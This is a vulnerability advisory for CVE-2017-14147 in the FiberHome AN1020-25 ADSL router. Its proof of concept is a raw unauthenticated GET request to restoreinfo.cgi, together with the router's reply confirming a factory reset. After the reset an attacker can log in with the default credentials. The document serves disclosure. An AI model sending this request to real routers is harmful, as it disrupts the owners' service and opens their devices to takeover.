Title:
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FiberHome Unauthenticated ADSL Router Factory Reset.
Credit:
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Name: Ibad Shah
Twitter: @BeeFaauBee09
Website: beefaaubee09.github.io
CVE:
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CVE-2017-14147
Date:
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05-09-2017 (dd/mm/yyyy)
About FiberHome:
======
FiberHome Technologies is a leading equipment vendor and global solution provider the field of information technology and telecommunications. FiberHome Deals in fiber-optic communications, data networking communications, wireless communication, and intelligentizing applications. In particular, it has been providing end-to-end solutions integrated with opto-electronic devices, opticpreforms, fiber & cables, and optical communication systems to many countries around the world.
Products & Services:
Wireless 3G/4G broadband devices
Custom engineered technologies
Broadband devices
URL : http://www.fiberhomegroup.com/
Description:
=======
This vulnerability in AN1020-25 router enables an anonymous unauthorized attacker to bypass authentication & access Resetting Router to Factory Settings, resulting in un-authorized operation & resetting it to Factory state. It later allows attacker to login to Router's Main Page with default username & password.
Affected Device Model:
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FiberHome ADSL AN1020-25
Exploitation-Technique:
===================
Remote
Details:
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Below listed vulnerability enables an anonymous unauthorized attacker to reset router to it's factory settings & further access router admin page with default credentials.
1) Bypass authentication and gain unauthorized access vulnerability - CVE-2017-14147
Vulnerable restoreinfo.cgi
Proof Of Concept:
================
PoC :
GET /restoreinfo.cgi HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close
HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Sat, 01 Jan 2000 00:12:39 GMT
Content-Type: text/html
Connection: close
DSL Router Restore
The DSL Router configuration has been restored to default settings and the
router is rebooting.
Close the DSL Router Configuration window and wait for 2 minutes before
reopening your web browser. If necessary, reconfigure your PC's IP address to
match your new configuration.